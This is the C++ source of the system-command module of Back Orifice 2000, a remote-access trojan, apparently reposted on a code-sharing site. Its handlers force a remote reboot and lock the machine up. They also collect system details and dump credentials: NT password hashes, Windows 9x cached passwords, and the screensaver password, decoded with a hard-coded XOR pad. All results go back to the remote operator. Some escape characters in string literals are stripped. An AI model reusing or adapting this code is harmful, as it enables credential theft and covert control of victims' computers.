cmd_system.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:10k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<osversion.h>
  17. #include<functions.h>
  18. #include<auth.h>
  19. #include<iohandler.h>
  20. #include<encryption.h>
  21. #include<commandloop.h>
  22. #include<bocomreg.h>
  23. #include<dumppw.h>
  24. #include<cmdcmd_system.h>
  25. int CmdProc_SysReboot(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  26. {
  27. BOOL bRet;
  28. bRet=ExitWindowsEx(EWX_FORCE| EWX_REBOOT, 0);
  29. if(bRet==0) IssueAuthCommandReply(cas_from, comid, 0, "Reboot attempt failed.n");
  30. else IssueAuthCommandReply(cas_from, comid, 0, "Rebooting now.n");
  31. return 0;
  32. }
  33. DWORD WINAPI LockThread(LPVOID param)
  34. {
  35. while(1);
  36. return 0;
  37. }
  38. int CmdProc_SysLockup(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  39. {
  40. IssueAuthCommandReply(cas_from,comid,0,"Locking up machinen[Don't expect much to work after this!]n");
  41. Sleep(2000);
  42. if(g_bIsWinNT) {
  43. SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS);
  44. while(1) {
  45. DWORD dwTid;
  46. HANDLE hThread=CreateThread(NULL,0,LockThread,NULL,0,&dwTid);
  47. SetThreadPriority(hThread,THREAD_PRIORITY_TIME_CRITICAL);
  48. }
  49. } else {
  50. lockpoint:
  51. __asm {
  52. cli
  53. jmp lockpoint
  54. }
  55. }
  56. return 0;
  57. }
  58. #pragma pack(push,1)
  59. typedef struct {
  60. char *pBuffer;
  61. int nBufLen;
  62. int nBufPos;
  63. } PASSCACHECALLBACK_DATA;
  64. #pragma pack(pop)
  65. BOOL PASCAL PassCacheCallback(struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData)
  66. {
  67. char buff[1024];
  68. char buff2[1024];
  69. int nCount;
  70. PASSCACHECALLBACK_DATA *dat;
  71. dat = (PASSCACHECALLBACK_DATA *)dwRefData;
  72. nCount=pce->cbResource;
  73. if(nCount>1023) nCount=1023;
  74. memmove(buff, pce->abResource, nCount);
  75. buff[nCount] = 0;
  76. CharToOem(buff, buff2);
  77. if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
  78. lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
  79. dat->nBufPos+=lstrlen(buff2)+1;
  80. nCount=pce->cbPassword;
  81. if(nCount>1023) nCount=1023;
  82. memmove(buff, pce->abResource+pce->cbResource, nCount);
  83. buff[nCount] = 0;
  84. CharToOem(buff, buff2);
  85. if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
  86. lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
  87. dat->nBufPos+=lstrlen(buff2)+1;
  88. return TRUE;
  89. }
  90. int CmdProc_SysListPasswords(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  91. {
  92. char svBuffer[512];
  93. DWORD dwBufSize;
  94. char svReply[512];
  95. if (g_bIsWinNT) {
  96. // PWDump style password dumping
  97. DumpPasswordHashes(cas_from,comid);
  98. } else {
  99. // Return passwords from password cache
  100. IssueAuthCommandReply(cas_from,comid,1,"Passwords cached by system:n");
  101. PASSCACHECALLBACK_DATA dat;
  102. dat.pBuffer=(char *)malloc(65536);
  103. dat.nBufLen=65536;
  104. dat.nBufPos=0;
  105. pWNetEnumCachedPasswords(NULL, 0, 0xff, PassCacheCallback, (DWORD) &dat);
  106. IssueAuthCommandReply(cas_from,comid,1,"Cached Passwords:n");
  107. char *svStr;
  108. svStr=dat.pBuffer;
  109. while(*svStr!='') {
  110. char *svRsc=svStr;
  111. svStr+=lstrlen(svStr)+1;
  112. char *svPwd=svStr;
  113. svStr+=lstrlen(svStr)+1;
  114. char svBuff[1024];
  115. wsprintf(svBuff, "Resource: '%.256s'  Password: '%.256s'n", svRsc, svPwd);
  116. IssueAuthCommandReply(cas_from,comid,1,svBuff);
  117. }
  118. free(dat.pBuffer);
  119. IssueAuthCommandReply(cas_from,comid,1,"End of cached passwords.n");
  120. // Return screen saver password
  121. char *regpws[5] = { ".Default", "Control Panel", "desktop", "" };
  122. HKEY key=HKEY_USERS,key2;
  123. int l;
  124. DWORD indx=0;
  125. while(regpws[indx][0]) {
  126. l=RegOpenKeyEx(key, regpws[indx], 0, KEY_READ, &key2) ;
  127. if(key!=HKEY_USERS) RegCloseKey(key);
  128. if(l!=ERROR_SUCCESS) {
  129. lstrcpy(svReply,"There is no screensaver password.n");
  130. goto exitssavepw;
  131. }
  132. key = key2;
  133. indx++;
  134. }
  135. dwBufSize=512;
  136. if(RegQueryValueEx(key, "ScreenSave_Data", NULL, NULL, (BYTE *)svBuffer, &dwBufSize)!=ERROR_SUCCESS) {
  137. lstrcpy(svReply, "Unable to read value 'ScreenSave_Data'.n");
  138. } else {
  139. // decode hex chars
  140. for (indx = 0; indx < dwBufSize/2; indx++) {
  141. char c1,c2;
  142. c1=svBuffer[indx*2];
  143. if(c1>='A' && c1<='F') c1=(c1-'A')+0xA;
  144. else if(c1>='a' && c1<='f') c1=(c1-'a')+0xA;
  145. else if(c1>='0' && c1<='9') c1=c1-'0';
  146. c2=svBuffer[indx*2+1];
  147. if(c2>='A' && c2<='F') c2=(c2-'A')+0xA;
  148. else if(c2>='a' && c2<='f') c2=(c2-'a')+0xA;
  149. else if(c2>='0' && c2<='9') c2=c2-'0';
  150. svBuffer[indx] = (c1<<4) | c2;
  151. }
  152. // xor with pad
  153. unsigned char xorpattern[60] = {0x48, 0xEE, 0x76, 0x1D, 0x67, 0x69, 0xA1, 0x1B, 
  154.                             0x7A, 0x8C, 0x47, 0xF8, 0x54, 0x95, 0x97, 0x5F,
  155. 0x78, 0xd9, 0xda, 0x6c, 0x59, 0xd7, 0x6B, 0x35,
  156. 0xC5, 0x77, 0x85, 0x18, 0x2A, 0x0E, 0x52, 0xFF,
  157. 0x00, 0xE3, 0x1B, 0x71, 0x8D, 0x34, 0x63, 0xEB,
  158. 0x91, 0xC3, 0x24, 0x0F, 0xB7, 0xC2, 0xF8, 0xE3,
  159. 0xB6, 0x54, 0x4C, 0x35, 0x54, 0xE7, 0xC9, 0x49,
  160. 0x28, 0xA3, 0x85, 0x11};
  161. DWORD len;
  162. len=dwBufSize/2;
  163. if(len>60) len=60;
  164. for (indx = 0; indx < len; indx++) {
  165. svBuffer[indx] ^= xorpattern[indx];
  166. }
  167. svBuffer[len] = '';
  168. wsprintf(svReply, "ScreenSaver password: '%s'n", svBuffer);
  169. }
  170. RegCloseKey(key);
  171. exitssavepw:
  172. IssueAuthCommandReply(cas_from, comid,0,svReply);
  173. }
  174. return 0;
  175. }
  176. int CmdProc_SysViewConsole(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  177. {
  178. return -1;
  179. }
  180. int CmdProc_SysInfo(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  181. {
  182. char svBuffer[512];
  183. DWORD dwBufSize;
  184. char svReply[512];
  185. // Send back computer name
  186. dwBufSize = MAX_COMPUTERNAME_LENGTH+1;
  187. if(GetComputerName(svBuffer, &dwBufSize)==FALSE) {
  188. IssueAuthCommandReply(cas_from,comid,1,"Could not retrieve machine name.n");
  189. } else {
  190. wsprintf(svReply, "System info for machine '%.400s'n", svBuffer);
  191. IssueAuthCommandReply(cas_from,comid,1,svReply);
  192. }
  193. // Send back currently logged in user name
  194. dwBufSize = 512;
  195. if(GetUserName(svBuffer, &dwBufSize)==FALSE) {
  196. IssueAuthCommandReply(cas_from,comid,1,"Could not retrieve user name.n");
  197. } else {
  198. wsprintf(svReply, "Current user: '%.400s'n", svBuffer);
  199. IssueAuthCommandReply(cas_from,comid,1,svReply);
  200. }
  201. // Send back processor info
  202. SYSTEM_INFO sysInfo;
  203. lstrcpy(svReply, "Processor: ");
  204. GetSystemInfo(&sysInfo);
  205. switch (sysInfo.dwProcessorType) {
  206. case PROCESSOR_INTEL_386:
  207. lstrcat(svReply, "I386n");
  208. break;
  209. case PROCESSOR_INTEL_486:
  210. lstrcat(svReply, "I486n");
  211. break;
  212. case PROCESSOR_INTEL_PENTIUM:
  213. lstrcat(svReply, "I586n");
  214. break;
  215. case PROCESSOR_MIPS_R4000:
  216. lstrcat(svReply, "MIPSR4000n");
  217. break;
  218. default:
  219. lstrcat(svReply, "UNKNOWNn");
  220. break;
  221. }
  222. IssueAuthCommandReply(cas_from,comid,1,svReply);
  223. // Send back OS version info
  224. OSVERSIONINFO osvi;
  225. osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  226. if (GetVersionEx(&osvi) == FALSE) {
  227. lstrcpy(svReply, "Could not get version info.n");
  228. } else {
  229. switch(osvi.dwPlatformId) {
  230. case VER_PLATFORM_WIN32s:       
  231. lstrcpy( svBuffer, "Win32s on Windows 3.1");
  232. break;
  233. case VER_PLATFORM_WIN32_WINDOWS:
  234. lstrcpy( svBuffer, "Win32 on Windows 95");
  235. break;
  236. case VER_PLATFORM_WIN32_NT:
  237. lstrcpy( svBuffer, "Windows NT");
  238. break;
  239. default:
  240. lstrcpy( svBuffer, "Windows?");
  241. break;
  242. }
  243. wsprintf( svReply, "%s v%d.%d build %dn", svBuffer, (int)osvi.dwMajorVersion, (int)osvi.dwMinorVersion, (int)LOWORD(osvi.dwBuildNumber));
  244. if(lstrlen(osvi.szCSDVersion)) {
  245. lstrcat(svReply, " - ");
  246. lstrcat(svReply, osvi.szCSDVersion);
  247. lstrcat(svReply, "n");
  248. }
  249. }
  250. IssueAuthCommandReply(cas_from,comid,1,svReply);
  251. // Send back global memory usage
  252. MEMORYSTATUS memstat;
  253. DWORD dw,dw2,dw3,dw4;
  254. char c;
  255. int x;
  256. memstat.dwLength = sizeof(memstat);
  257. GlobalMemoryStatus(&memstat);
  258. wsprintf(svReply, "Memory: %dM in use: %d%%  Page file: %dM free: %dMn", memstat.dwTotalPhys/1024/1024, memstat.dwMemoryLoad, memstat.dwTotalPageFile/1024/1024, memstat.dwAvailPageFile/1024/1024 );
  259. IssueAuthCommandReply(cas_from,comid,1,svReply);
  260. for (c = 'C'; c <= 'Z'; c++) {
  261. wsprintf(svReply, "%c:\", c);
  262. x = GetDriveType(svReply);
  263. lstrcat( svReply, " - ");
  264. switch (x) {
  265. case 0:
  266. lstrcat(svReply, "Unable to determine.n");
  267. break;
  268. case 1:
  269. svReply[0]='';
  270. break;
  271. case DRIVE_REMOVABLE:
  272. lstrcat(svReply, "Removablen");
  273. break;
  274. case DRIVE_FIXED:
  275. lstrcat(svReply, "Fixed");
  276. wsprintf(svBuffer, "%c:\", c);
  277. if (GetDiskFreeSpace(svBuffer, &dw, &dw2, &dw3, &dw4)) {
  278. wsprintf(svBuffer, " Sec/Clust: %u Byts/Sec: %u,  Bytes free: %u/%un", (unsigned int)dw, (unsigned int)dw2, (unsigned int)(dw3*dw2*dw), (unsigned int)(dw4*dw2*dw));
  279. lstrcat(svReply, svBuffer);
  280. } else lstrcat(svReply,"n");
  281. break;
  282. case DRIVE_REMOTE:
  283. lstrcat(svReply, "Remoten");
  284. break;
  285. case DRIVE_CDROM:
  286. lstrcat(svReply, "CD-ROMn");
  287. break;
  288. case DRIVE_RAMDISK:
  289. lstrcat(svReply, "Ramdiskn");
  290. break;
  291. default:
  292. lstrcat(svReply, "Unknown type!n");
  293. break;
  294. }
  295. if(lstrlen(svReply))
  296. IssueAuthCommandReply(cas_from,comid,1,svReply);
  297. }
  298. IssueAuthCommandReply(cas_from,comid,0,"End of system infon");
  299. return 0;
  300. }